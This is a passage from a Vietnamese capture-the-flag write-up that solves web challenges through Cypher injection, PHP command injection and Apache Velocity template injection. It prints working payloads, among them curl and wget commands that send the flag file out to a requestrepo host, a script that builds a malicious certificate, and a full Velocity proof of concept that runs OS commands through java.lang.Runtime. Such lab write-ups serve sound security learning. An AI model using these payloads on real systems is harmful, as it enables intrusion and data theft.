<h4 id="heading-3-command-injection">3. Command Injection</h4>
<p>Xem lại đoạn code tạo biến dir tức là tên thư mục chứa cert:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> filename = cert.file_name;
<span class="hljs-keyword">const</span> absolutePath = path.resolve(__dirname, filename);
<span class="hljs-keyword">const</span> fileDirectory = path.dirname(absolutePath);
</code></pre>
<p>Nó được trả về qua 2 hàm trên, vì ta có thể kiểm soát được filename dựa vào cert nên có thể custom được <code>fileDirectory</code> phù hợp để có thể khai thác.</p>
<p>Ví dụ như:</p>
<p><img src="https://hackmd.io/_uploads/ryaZocV0a.png" alt="image" /></p>
<p>Như vậy ta có thể thực hiện command injection với filename là <code>$(curl -d "$(cat /flag*)" http://vpcow77t.requestrepo.com)/a</code> để đọc flag.</p>
<h4 id="heading-4-cypher-injection-neo4j">4. Cypher Injection (Neo4j)</h4>
<p>Neo4j là một graph database, nó lưu trữ và truy xuất dữ liệu theo dạng graph với các nodes và relationships.</p>
<p><code>Cypher</code> là ngôn ngữ truy vấn dữ liệu được sử dụng với <code>Neo4j</code>. Nó cho phép người dùng truy vấn và thao tác với database của Neo4j một cách hiệu quả.</p>
<p>Tham khảo thêm tại: <a target="_blank" href="https://neo4j.com/docs/cypher-manual/current/introduction/">Cypher Docs</a></p>
<p>Mặt khác <code>filename</code> được lấy từ cert, như đã nói trong phần trên ta sẽ khai thác cypher injection tại đây.</p>
<p>Payload cũng sẽ tương tự như trong SQL Injection trong câu lệnh <code>Insert</code></p>
<pre><code class="lang-plaintext">'}), (:Certificate { file_name: '&lt;payload&gt;
</code></pre>
<p>Script tạo cert:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);
<span class="hljs-keyword">const</span> forge = <span class="hljs-built_in">require</span>(<span class="hljs-string">"node-forge"</span>);

<span class="hljs-keyword">const</span> file_path = <span class="hljs-string">`$(curl -d "$(cat /flag*)" http://vpcow77t.requestrepo.com)/`</span>;

<span class="hljs-keyword">const</span> subject = [{
    <span class="hljs-attr">name</span>: <span class="hljs-string">"countryName"</span>,
    <span class="hljs-attr">value</span>: <span class="hljs-string">''</span>,
}, {
    <span class="hljs-attr">name</span>: <span class="hljs-string">"stateOrProvinceName"</span>,
    <span class="hljs-attr">value</span>: <span class="hljs-string">''</span>,
}, {
    <span class="hljs-attr">name</span>: <span class="hljs-string">"localityName"</span>,
    <span class="hljs-attr">value</span>: <span class="hljs-string">''</span>,
}, {
    <span class="hljs-attr">name</span>: <span class="hljs-string">"organizationName"</span>,
    <span class="hljs-attr">value</span>: <span class="hljs-string">''</span>,
}, {
    <span class="hljs-attr">name</span>: <span class="hljs-string">"commonName"</span>,
    <span class="hljs-attr">value</span>: <span class="hljs-string">`'}), (:Certificate { file_name: '<span class="hljs-subst">${file_path}</span>`</span>,
}];

<span class="hljs-keyword">const</span> keys = forge.pki.rsa.generateKeyPair(<span class="hljs-number">2048</span>);
<span class="hljs-keyword">const</span> publicKey = forge.pki.publicKeyToPem(keys.publicKey);
<span class="hljs-keyword">const</span> privateKey = forge.pki.privateKeyToPem(keys.privateKey);
<span class="hljs-keyword">const</span> cert = forge.pki.createCertificate();

cert.publicKey = keys.publicKey;
cert.serialNumber = <span class="hljs-string">"01"</span>;
cert.validity.notBefore = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>();
cert.validity.notAfter = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>();
cert.validity.notAfter.setFullYear(cert.validity.notBefore.getFullYear() + <span class="hljs-number">1</span>);
cert.setSubject(subject);
cert.setIssuer(subject);
cert.sign(keys.privateKey);

fs.writeFileSync(<span class="hljs-string">'cert.json'</span>, <span class="hljs-built_in">JSON</span>.stringify({
    <span class="hljs-string">"privKey"</span>: privateKey,
    <span class="hljs-string">"pubKey"</span>: publicKey,
    <span class="hljs-string">"cert"</span>: forge.pki.certificateToPem(cert)
}));
</code></pre>
<p><code>cert.json</code> thu được:</p>
<p><img src="https://hackmd.io/_uploads/BysokiN0p.png" alt="image" /></p>
<p>Script thêm cert và thực hiện zip file:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> json
<span class="hljs-keyword">import</span> requests

target = <span class="hljs-string">'localhost:1337'</span>

<span class="hljs-keyword">with</span> open(<span class="hljs-string">'cert.json'</span>, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> f:
    cert = json.load(f)
cookies = {<span class="hljs-string">"connect.sid"</span>: <span class="hljs-string">"s%3Axm6-LE0YXK2AdAEkPx5cX2wsJl9dx9W2.aejSo%2FkqyaXigEMfN0dxG2pM6sgl4kQPuHso1pe0YkY"</span>}

requests.post(f<span class="hljs-string">'http://{target}/panel/management/addcert'</span>, cookies=cookies, data=cert)
requests.get(f<span class="hljs-string">'http://{target}/panel/management/dl-certs'</span>, cookies=cookies)
</code></pre>
<p>Kết quả:</p>
<p><img src="https://hackmd.io/_uploads/SyPBls406.png" alt="image" /></p>
<h2 id="heading-time-korp">Time KORP</h2>
<p><strong><em>credit: l3mnt2010</em></strong></p>
<p>Đây là một bài command injection đơn giản với mã nguồn php.</p>
<p><img src="https://hackmd.io/_uploads/BJz-0bfA6.png" alt="image" /></p>
<h3 id="heading-recon-2">RECON</h3>
<p>Đề bài cho ta source code, trước tiên thì xem cơ bản chức năng đã nha :&lt;</p>
<p>Vào trang ta có thể thấy trang có 2 chức năng chính là hiển thị ngày và hiển thì giờ.</p>
<p><img src="https://hackmd.io/_uploads/ByQWJffRT.png" alt="image" /></p>
<p>Chức năng hiện thị giờ</p>
<p><img src="https://hackmd.io/_uploads/rkfGJMG0p.png" alt="image" /></p>
<p>Sever nhận param format của giờ là <code>%H:%M:%S</code> để hiển thị giờ. Chức năng hiển thị ngày/tháng/năm</p>
<p><img src="https://hackmd.io/_uploads/BkUtJGfAT.png" alt="image" /></p>
<p>Sever nhận param format là %Y-%m-%d để hiển thị.</p>
<h3 id="heading-detect">DETECT</h3>
<p>Okeee, như ta thấy thì chưa có lỗ hổng gì có thể tìm thấy ở trên cùng viewwww source nào 💯</p>
<p>Nhìn một cách tổng quan ta có thể thấy cấu trúc cây thư mục viết theo mô hình MVC khá phổ biến hiện nay :&gt;</p>
<p><img src="https://hackmd.io/_uploads/S1PHxfMA6.png" alt="image" /></p>
<p>Những điểm quan trọng để giải quyết</p>
<p><code>views/index.php</code></p>
<pre><code class="lang-php">&lt;h1 <span class="hljs-class"><span class="hljs-keyword">class</span>="<span class="hljs-title">jumbotron</span>-<span class="hljs-title">heading</span>"&gt;&gt;&lt;<span class="hljs-title">span</span> <span class="hljs-title">class</span>='<span class="hljs-title">text</span>-<span class="hljs-title">muted</span>'&gt;<span class="hljs-title">It</span>'<span class="hljs-title">s</span>&lt;/<span class="hljs-title">span</span>&gt; &lt;?= $<span class="hljs-title">time</span> ?&gt;&lt;<span class="hljs-title">span</span> <span class="hljs-title">class</span>='<span class="hljs-title">text</span>-<span class="hljs-title">muted</span>'&gt;.&lt;/<span class="hljs-title">span</span>&gt;&lt;/<span class="hljs-title">h1</span>&gt;</span>
</code></pre>
<p>Ngoài những phần css và js thì chỉ có điểm này để hiển thị ngày giờ như ở trên ta phân tích.</p>
<p><code>Dockerfile</code></p>
<pre><code class="lang-dockerfile"><span class="hljs-keyword">FROM</span> debian:buster-slim

<span class="hljs-comment"># Setup user</span>
<span class="hljs-keyword">RUN</span><span class="bash"> useradd www</span>

<span class="hljs-comment"># Install system packeges</span>
<span class="hljs-keyword">RUN</span><span class="bash"> apt-get update &amp;&amp; apt-get install -y supervisor nginx lsb-release wget</span>

<span class="hljs-comment"># Add repos</span>
<span class="hljs-keyword">RUN</span><span class="bash"> wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg</span>
<span class="hljs-keyword">RUN</span><span class="bash"> <span class="hljs-built_in">echo</span> <span class="hljs-string">"deb https://packages.sury.org/php/ <span class="hljs-subst">$(lsb_release -sc)</span> main"</span> | tee /etc/apt/sources.list.d/php.list</span>

<span class="hljs-comment"># Install PHP dependencies</span>
<span class="hljs-keyword">RUN</span><span class="bash"> apt update &amp;&amp; apt install -y php7.4-fpm</span>

<span class="hljs-comment"># Configure php-fpm and nginx</span>
<span class="hljs-keyword">COPY</span><span class="bash"> config/fpm.conf /etc/php/7.4/fpm/php-fpm.conf</span>
<span class="hljs-keyword">COPY</span><span class="bash"> config/supervisord.conf /etc/supervisord.conf</span>
<span class="hljs-keyword">COPY</span><span class="bash"> config/nginx.conf /etc/nginx/nginx.conf</span>

<span class="hljs-comment"># Copy challenge files</span>
<span class="hljs-keyword">COPY</span><span class="bash"> challenge /www</span>

<span class="hljs-comment"># Setup permissions</span>
<span class="hljs-keyword">RUN</span><span class="bash"> chown -R www:www /www /var/lib/nginx</span>

<span class="hljs-comment"># Copy flag</span>
<span class="hljs-keyword">COPY</span><span class="bash"> flag /flag</span>

<span class="hljs-comment"># Expose the port nginx is listening on</span>
<span class="hljs-keyword">EXPOSE</span> <span class="hljs-number">80</span>

<span class="hljs-comment"># Populate database and start supervisord</span>
<span class="hljs-keyword">CMD</span><span class="bash"> /usr/bin/supervisord -c /etc/supervisord.conf</span>
</code></pre>
<p>Đoạn này thì chỉ cần chú ý là flag nằm trong <code>/flag</code> thui :&gt;</p>
<p><code>/index.php</code></p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>
spl_autoload_register(<span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">$name</span>)</span>{
    <span class="hljs-keyword">if</span> (preg_match(<span class="hljs-string">'/Controller$/'</span>, $name))
    {
        $name = <span class="hljs-string">"controllers/${name}"</span>;
    }
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (preg_match(<span class="hljs-string">'/Model$/'</span>, $name))
    {
        $name = <span class="hljs-string">"models/${name}"</span>;
    }
    <span class="hljs-keyword">include_once</span> <span class="hljs-string">"${name}.php"</span>;
});

$router = <span class="hljs-keyword">new</span> Router();
$router-&gt;new(<span class="hljs-string">'GET'</span>, <span class="hljs-string">'/'</span>, <span class="hljs-string">'TimeController@index'</span>);

$response = $router-&gt;match();

<span class="hljs-keyword">die</span>($response);
</code></pre>
<p>Mã trên sẽ map controller và model và cả <code>TimeController@index</code> thui nha.</p>
<p>Cũng tương tự với <code>Route.php</code></p>
<p>Nói khá nhiều nhưng mà phần mấu chốt chỉ có ở đây thoiiiii</p>
<p><img src="https://hackmd.io/_uploads/BJrKzfMCT.png" alt="image" /></p>
<p>Như ta có thể thấy param format nhận được sẽ được nhận để khởi tạo một đối tượng qua class <code>TimeModel</code> và map kết quả tra ra ở template</p>
<p><code>models/TimeController.php</code></p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">TimeModel</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params">$format</span>)
    </span>{
        <span class="hljs-keyword">$this</span>-&gt;command = <span class="hljs-string">"date '+"</span> . $format . <span class="hljs-string">"' 2&gt;&amp;1"</span>;
    }

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getTime</span>(<span class="hljs-params"></span>)
    </span>{
        $time = exec(<span class="hljs-keyword">$this</span>-&gt;command);
        $res  = <span class="hljs-keyword">isset</span>($time) ? $time : <span class="hljs-string">'?'</span>;
        <span class="hljs-keyword">return</span> $res;
    }
}
</code></pre>
<p>Trong class <code>TimeModel</code> sẽ khởi tạo với biến format ở trên sẽ tạo 1 command và khi gọi phương thức <code>getTime()</code> và exec command</p>
<p>Hmm, thì đây là mình có thể vận dụng để tấn công commandinjection.</p>
<h3 id="heading-attack">ATTACK</h3>
<p>Đầu tiên mình thử dùng curl thì sever không có, thử tiếp đến wget với payload: <code>';wget+--post-data+"$(cat+/flag)"+-O-+s6thtnzk.requestrepo.com'</code></p>
<p><img src="https://hackmd.io/_uploads/SyExUfzAa.png" alt="image" /></p>
<p>Kết quả:</p>
<p><img src="https://hackmd.io/_uploads/BJoWLMM0a.png" alt="image" /></p>
<p>Hihi thì đây là nếu bạn muốn blind, còn nếu muốn không blind thì 👎</p>
<p><img src="https://hackmd.io/_uploads/SJ7V8MzC6.png" alt="image" /></p>
<h3 id="heading-flag-2">Flag</h3>
<p><code>HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}</code></p>
<h2 id="heading-labyrinth-linguist">Labyrinth Linguist</h2>
<p><strong><em>credit: l3mnt2010</em></strong></p>
<p><img src="https://hackmd.io/_uploads/r1TUwMfCp.png" alt="image" /></p>
<p>Hihi tiếp tục là một bài white-box nhưng mà với source java mà lâu rùi mình chưa đụng nên mình chưa làm và gần cuối giải thì mới để ý và xem thêm hướng giải quyết của các anh trong clb hihi:((()):</p>
<h3 id="heading-recon-3">RECON</h3>
<p>Đầu tiên thì cũng xem phần "vỏ" của trang này</p>
<p><img src="https://hackmd.io/_uploads/Bkx-dfz06.png" alt="image" /></p>
<p>Thấy cái lá xanh xanh kia là biết java spring boot rùi:&lt;</p>
<p><code>Enter text to translate english to voxalith!</code> nhập text để chuyển đổi qua voxalith</p>
<p><img src="https://hackmd.io/_uploads/BJqhdzfCT.png" alt="image" /></p>
<p>Khumm hiểu lắm @@</p>
<p>Chức năng cũng khá đơn giản:</p>
<p><img src="https://hackmd.io/_uploads/SkjeYzMC6.png" alt="image" /></p>
<p>Search xem có gì không thì cũng không có gì khác ngoài cái template khá giống bài <code>j4JA</code> trong tetCTF hmm,…</p>
<p><img src="https://hackmd.io/_uploads/HkWNcMzC6.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/BJZeqzfCT.png" alt="image" /></p>
<p>Okie bây giờ thì view java source thuiiiiiiii:&lt;</p>
<h3 id="heading-detect-1">DETECT</h3>
<p>Sương sương thì cấu trúc cây thư mục như thế này:</p>
<p><img src="https://hackmd.io/_uploads/Sy5FczzCT.png" alt="image" /></p>
<p><code>/src/main/resources/templates/index.html</code></p>
<p><img src="https://hackmd.io/_uploads/S1BZoGf06.png" alt="image" /></p>
<p>Như ta thấy thì khi mà ta submit sẽ post text lên sever để xử lí. <code>Dockerfile</code></p>
<p>Ở chall này thì flag nằm trong <code>/flag.txt</code></p>
<p><code>Main.class</code></p>
<pre><code class="lang-java"><span class="hljs-comment">// Source code is decompiled from a .class file using FernFlower decompiler.</span>
<span class="hljs-keyword">import</span> java.io.BufferedReader;
<span class="hljs-keyword">import</span> java.io.FileReader;
<span class="hljs-keyword">import</span> java.io.IOException;
<span class="hljs-keyword">import</span> java.io.StringReader;
<span class="hljs-keyword">import</span> java.io.StringWriter;
<span class="hljs-keyword">import</span> org.apache.velocity.Template;
<span class="hljs-keyword">import</span> org.apache.velocity.VelocityContext;
<span class="hljs-keyword">import</span> org.apache.velocity.runtime.RuntimeServices;
<span class="hljs-keyword">import</span> org.apache.velocity.runtime.RuntimeSingleton;
<span class="hljs-keyword">import</span> org.apache.velocity.runtime.parser.ParseException;
<span class="hljs-keyword">import</span> org.springframework.boot.SpringApplication;
<span class="hljs-keyword">import</span> org.springframework.boot.autoconfigure.EnableAutoConfiguration;
<span class="hljs-keyword">import</span> org.springframework.stereotype.Controller;
<span class="hljs-keyword">import</span> org.springframework.web.bind.annotation.RequestMapping;
<span class="hljs-keyword">import</span> org.springframework.web.bind.annotation.RequestParam;
<span class="hljs-keyword">import</span> org.springframework.web.bind.annotation.ResponseBody;
<span class="hljs-meta">@Controller</span>
<span class="hljs-meta">@EnableAutoConfiguration</span>
<span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Main</span> </span>{
   <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-title">Main</span><span class="hljs-params">()</span> </span>{
   }

   <span class="hljs-meta">@RequestMapping({"/"})</span>
   <span class="hljs-meta">@ResponseBody</span>
   <span class="hljs-function">String <span class="hljs-title">index</span><span class="hljs-params">(<span class="hljs-meta">@RequestParam(required = false,name = "text")</span> String textString)</span> </span>{
      <span class="hljs-keyword">if</span> (textString == <span class="hljs-keyword">null</span>) {
         textString = <span class="hljs-string">"Example text"</span>;
      }

      String template = <span class="hljs-string">""</span>;

      <span class="hljs-keyword">try</span> {
         template = readFileToString(<span class="hljs-string">"/app/src/main/resources/templates/index.html"</span>, textString);
      } <span class="hljs-keyword">catch</span> (IOException var9) {
         var9.printStackTrace();
      }

      RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
      StringReader reader = <span class="hljs-keyword">new</span> StringReader(template);
      Template t = <span class="hljs-keyword">new</span> Template();
      t.setRuntimeServices(runtimeServices);

      <span class="hljs-keyword">try</span> {
         t.setData(runtimeServices.parse(reader, <span class="hljs-string">"home"</span>));
         t.initDocument();
         VelocityContext context = <span class="hljs-keyword">new</span> VelocityContext();
         context.put(<span class="hljs-string">"name"</span>, <span class="hljs-string">"World"</span>);
         StringWriter writer = <span class="hljs-keyword">new</span> StringWriter();
         t.merge(context, writer);
         template = writer.toString();
      } <span class="hljs-keyword">catch</span> (ParseException var8) {
         var8.printStackTrace();
      }

      <span class="hljs-keyword">return</span> template;
   }

   <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> String <span class="hljs-title">readFileToString</span><span class="hljs-params">(String filePath, String replacement)</span> <span class="hljs-keyword">throws</span> IOException </span>{
      StringBuilder content = <span class="hljs-keyword">new</span> StringBuilder();
      BufferedReader bufferedReader = <span class="hljs-keyword">null</span>;

      <span class="hljs-keyword">try</span> {
         bufferedReader = <span class="hljs-keyword">new</span> BufferedReader(<span class="hljs-keyword">new</span> FileReader(filePath));

         String line;
         <span class="hljs-keyword">while</span>((line = bufferedReader.readLine()) != <span class="hljs-keyword">null</span>) {
            line = line.replace(<span class="hljs-string">"TEXT"</span>, replacement);
            content.append(line);
            content.append(<span class="hljs-string">"\n"</span>);
         }
      } <span class="hljs-keyword">finally</span> {
         <span class="hljs-keyword">if</span> (bufferedReader != <span class="hljs-keyword">null</span>) {
            <span class="hljs-keyword">try</span> {
               bufferedReader.close();
            } <span class="hljs-keyword">catch</span> (IOException var10) {
               var10.printStackTrace();
            }
         }

      }

      <span class="hljs-keyword">return</span> content.toString();
   }

   <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{
      System.getProperties().put(<span class="hljs-string">"server.port"</span>, <span class="hljs-number">1337</span>);
      SpringApplication.run(Main.class, args);
   }
}
</code></pre>
<p>Decompile sẽ thấy được source kia, thì chall này chỉ có source này chính thui</p>
<pre><code class="lang-java"><span class="hljs-keyword">import</span> java.io.BufferedReader;
<span class="hljs-keyword">import</span> java.io.FileReader;
<span class="hljs-keyword">import</span> java.io.IOException;
<span class="hljs-keyword">import</span> java.io.StringReader;
<span class="hljs-keyword">import</span> java.io.StringWriter;
<span class="hljs-keyword">import</span> org.apache.velocity.Template;
<span class="hljs-keyword">import</span> org.apache.velocity.VelocityContext;
<span class="hljs-keyword">import</span> org.apache.velocity.runtime.RuntimeServices;
<span class="hljs-keyword">import</span> org.apache.velocity.runtime.RuntimeSingleton;
<span class="hljs-keyword">import</span> org.apache.velocity.runtime.parser.ParseException;
<span class="hljs-keyword">import</span> org.springframework.boot.SpringApplication;
<span class="hljs-keyword">import</span> org.springframework.boot.autoconfigure.EnableAutoConfiguration;
<span class="hljs-keyword">import</span> org.springframework.stereotype.Controller;
<span class="hljs-keyword">import</span> org.springframework.web.bind.annotation.RequestMapping;
<span class="hljs-keyword">import</span> org.springframework.web.bind.annotation.RequestParam;
<span class="hljs-keyword">import</span> org.springframework.web.bind.annotation.ResponseBody;
</code></pre>
<p>Ta có thể xem version và library của các notification và các hàm sử dụng trong Main.</p>
<p>Cần chú ý là sever sử dụng thư viện <code>apache.velocity</code> version 1.7</p>
<p><img src="https://hackmd.io/_uploads/rkuPpGGA6.png" alt="image" /></p>
<p>Quay lại phần phân tích source như ta đã thấy ở trên thì chall này chỉ có 1 route duy nhất là <code>/</code> thui</p>
<pre><code class="lang-java"> <span class="hljs-meta">@RequestMapping({"/"})</span>
   <span class="hljs-meta">@ResponseBody</span>
   <span class="hljs-function">String <span class="hljs-title">index</span><span class="hljs-params">(<span class="hljs-meta">@RequestParam(required = false,name = "text")</span> String textString)</span> </span>{
      <span class="hljs-keyword">if</span> (textString == <span class="hljs-keyword">null</span>) {
         textString = <span class="hljs-string">"Example text"</span>;
      }

      String template = <span class="hljs-string">""</span>;

      <span class="hljs-keyword">try</span> {
         template = readFileToString(<span class="hljs-string">"/app/src/main/resources/templates/index.html"</span>, textString);
      } <span class="hljs-keyword">catch</span> (IOException var9) {
         var9.printStackTrace();
      }

      RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
      StringReader reader = <span class="hljs-keyword">new</span> StringReader(template);
      Template t = <span class="hljs-keyword">new</span> Template();
      t.setRuntimeServices(runtimeServices);

      <span class="hljs-keyword">try</span> {
         t.setData(runtimeServices.parse(reader, <span class="hljs-string">"home"</span>));
         t.initDocument();
         VelocityContext context = <span class="hljs-keyword">new</span> VelocityContext();
         context.put(<span class="hljs-string">"name"</span>, <span class="hljs-string">"World"</span>);
         StringWriter writer = <span class="hljs-keyword">new</span> StringWriter();
         t.merge(context, writer);
         template = writer.toString();
      } <span class="hljs-keyword">catch</span> (ParseException var8) {
         var8.printStackTrace();
      }

      <span class="hljs-keyword">return</span> template;
   }
</code></pre>
<p>Đầu tiên nhận giá trị text được post lên từ index.html template nếu mà <code>textString</code> là null thì gán <code>textString=Example text</code></p>
<p>Sau đó khởi tạo String template với chuỗi rỗng.</p>
<p>Sau đó try catch để gán template bằng nội dung template + hiển thị <code>textString</code></p>
<p>Tiếp tục <code>RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();</code></p>
<p>Tạo một biến <code>runtimeServices</code> và từ đó ta có thể sử dụng các phương thức và thuộc tính của <code>RuntimeSingleton.getRuntimeServices();</code></p>
<p><code>StringReader reader = new StringReader(template);</code>: Tạo một đối tượng StringReader từ một chuỗi template. StringReader là một lớp trong Java cho phép đọc từ chuỗi này.</p>
<p><code>Template t = new Template();</code>: Tạo một thể hiện mới của lớp Template. Đối tượng này sẽ đại diện cho một template, mà sau đó có thể được sử dụng để xử lý và sinh ra dữ liệu đầu ra dựa trên dữ liệu đầu vào được cung cấp.</p>
<p><code>t.setRuntimeServices(runtimeServices);</code>: Thiết lập RuntimeServices cho đối tượng template t đã tạo. Điều này đảm bảo rằng template có thể sử dụng các dịch vụ và tính năng được cung cấp bởi RuntimeServices, chẳng hạn như các hàm và biến được định nghĩa trong quá trình xử lý template.</p>
<p>Tiếp nữa là sử dụng try-catch 🅰️</p>
<pre><code class="lang-java"><span class="hljs-keyword">try</span> {
         t.setData(runtimeServices.parse(reader, <span class="hljs-string">"home"</span>));
         t.initDocument();
         VelocityContext context = <span class="hljs-keyword">new</span> VelocityContext();
         context.put(<span class="hljs-string">"name"</span>, <span class="hljs-string">"World"</span>);
         StringWriter writer = <span class="hljs-keyword">new</span> StringWriter();
         t.merge(context, writer);
         template = writer.toString();
      } <span class="hljs-keyword">catch</span> (ParseException var8) {
         var8.printStackTrace();
      }
</code></pre>
<p>GPT Một tí :&gt;:</p>
<blockquote>
<p><code>t.setData(runtimeServices.parse(reader, "home"))</code>: Đọc và phân tích nội dung của reader (đã được tạo từ chuỗi template) bằng cách sử dụng runtimeServices. Kết quả được đặt vào đối tượng t để sử dụng cho việc tạo ra dữ liệu đầu ra.</p>
<p><code>t.initDocument()</code>: Khởi tạo tài liệu của template. Điều này chuẩn bị template để merge với dữ liệu và sinh ra dữ liệu đầu ra.</p>
<p><code>VelocityContext context = new VelocityContext()</code>: Tạo một đối tượng VelocityContext, một đối tượng lưu trữ các cặp khóa-giá trị được sử dụng trong quá trình merge.</p>
<p><code>context.put("name", "World")</code>: Thêm một cặp khóa-giá trị vào VelocityContext. Trong ví dụ này, "name" là khóa và "World" là giá trị tương ứng.</p>
<p><code>StringWriter writer = new StringWriter()</code>: Tạo một đối tượng StringWriter để lưu kết quả của việc merge template.</p>
<p><code>t.merge(context, writer)</code>: Merge template với dữ liệu được cung cấp từ VelocityContext vào StringWriter. Kết quả được lưu trong StringWriter.</p>
<p><code>template = writer.toString()</code>: Chuyển nội dung của StringWriter thành một chuỗi và gán vào biến template.</p>
<p>Để ý đoạn này : <code>VelocityContext context = new VelocityContext();</code></p>
</blockquote>
<p><img src="https://hackmd.io/_uploads/ry8wzXMAp.png" alt="image" /></p>
<p>Chưa làm thì cũng đoán chắc đây là SSTI rùi:&lt;</p>
<p>Sau khi hỏi mấy anh thì mình tìm được bài nì:</p>
<p><a target="_blank" href="https://www.linkedin.com/pulse/apache-velocity-server-side-template-injection-marjan-sterjev/">https://www.linkedin.com/pulse/apache-velocity-server-side-template-injection-marjan-sterjev/</a></p>
<p>Có cả POC lun:</p>
<p>Mình sẽ dựa trên blog này để phân tích:</p>
<p><strong>Apache Velocity Server-Side Template Injection</strong></p>
<p>Như search ở trên thì đây là một template để hiển thị nội dung của java từ apache cũng giống như bao thư viện khác</p>
<pre><code class="lang-java"><span class="hljs-keyword">import</span> java.io.StringWriter;
<span class="hljs-keyword">import</span> org.apache.velocity.Template;
<span class="hljs-keyword">import</span> org.apache.velocity.VelocityContext;
<span class="hljs-keyword">import</span> org.apache.velocity.app.VelocityEngine;

<span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">VelocityTest</span> </span>{

    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Throwable </span>{

        VelocityEngine velocityEngine = <span class="hljs-keyword">new</span> VelocityEngine();
        velocityEngine.init();
        Template t = velocityEngine.getTemplate(<span class="hljs-string">"template.vm"</span>);
        VelocityContext context = <span class="hljs-keyword">new</span> VelocityContext();
        context.put(<span class="hljs-string">"name"</span>, <span class="hljs-string">"l3mnt2010"</span>);
        StringWriter writer = <span class="hljs-keyword">new</span> StringWriter();
        t.merge(context, writer);
        System.out.println(writer);

    }

}
</code></pre>
<p>Ta có thể thấy source khá tương tự ở trên nêu thì khi mình nhập vào thì sẽ hiển thị nội dung name + l3mnt2010:</p>
<p>Đây là <a target="_blank" href="https://github.com/l3mnt2010/demoVelocity">source</a></p>
<p>Và cũng giống như những template khác thì velocity cũng có thể truy cập được với các cú pháp của nó và ta chú ý đến <code>#set($message = "l3mnt2010")</code></p>
<p>Thì biến <code>$message</code> được gán giá trị là <code>l3mnt2010</code>, nếu từ riêng lẻ thì khó có thể thực thi mã với os trên template này nên ta sử dụng kết hợp với các lớp hàm hàm khởi tạo của java luôn</p>
<p>POC:</p>
<pre><code class="lang-java">#set($s=<span class="hljs-string">""</span>)
#set($stringClass=$s.getClass())
#set($stringBuilderClass=$stringClass.forName(<span class="hljs-string">"java.lang.StringBuilder"</span>))
#set($inputStreamClass=$stringClass.forName(<span class="hljs-string">"java.io.InputStream"</span>))
#set($readerClass=$stringClass.forName(<span class="hljs-string">"java.io.Reader"</span>))
#set($inputStreamReaderClass=$stringClass.forName(<span class="hljs-string">"java.io.InputStreamReader"</span>))
#set($bufferedReaderClass=$stringClass.forName(<span class="hljs-string">"java.io.BufferedReader"</span>))
#set($collectorsClass=$stringClass.forName(<span class="hljs-string">"java.util.stream.Collectors"</span>))
#set($systemClass=$stringClass.forName(<span class="hljs-string">"java.lang.System"</span>))
#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))

#set($runtime=$stringClass.forName(<span class="hljs-string">"java.lang.Runtime"</span>).getRuntime())
#set($process=$runtime.exec(<span class="hljs-string">"ls /"</span>))
#set($<span class="hljs-keyword">null</span>=$process.waitFor() )

#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
#set($stringBuilder=$stringBuilderConstructor.newInstance())

#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))

$output
</code></pre>
<p>Ở đây ta lợi dụng hàm thực thi từ java.lang.Runtime để chạy os command và kết quả nhận được</p>
<p><img src="https://hackmd.io/_uploads/HyUGuJ7CT.png" alt="image" /></p>
<p>Và lụm flag thui:</p>
<p><img src="https://hackmd.io/_uploads/Hy9D_k70a.png" alt="image" /></p>
<h3 id="heading-flag-3">Flag</h3>
<p><code>HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}</code></p>
<h2 id="heading-apexsurvive">Apexsurvive</h2>
<p><strong><em>credit: kev1n</em></strong></p>
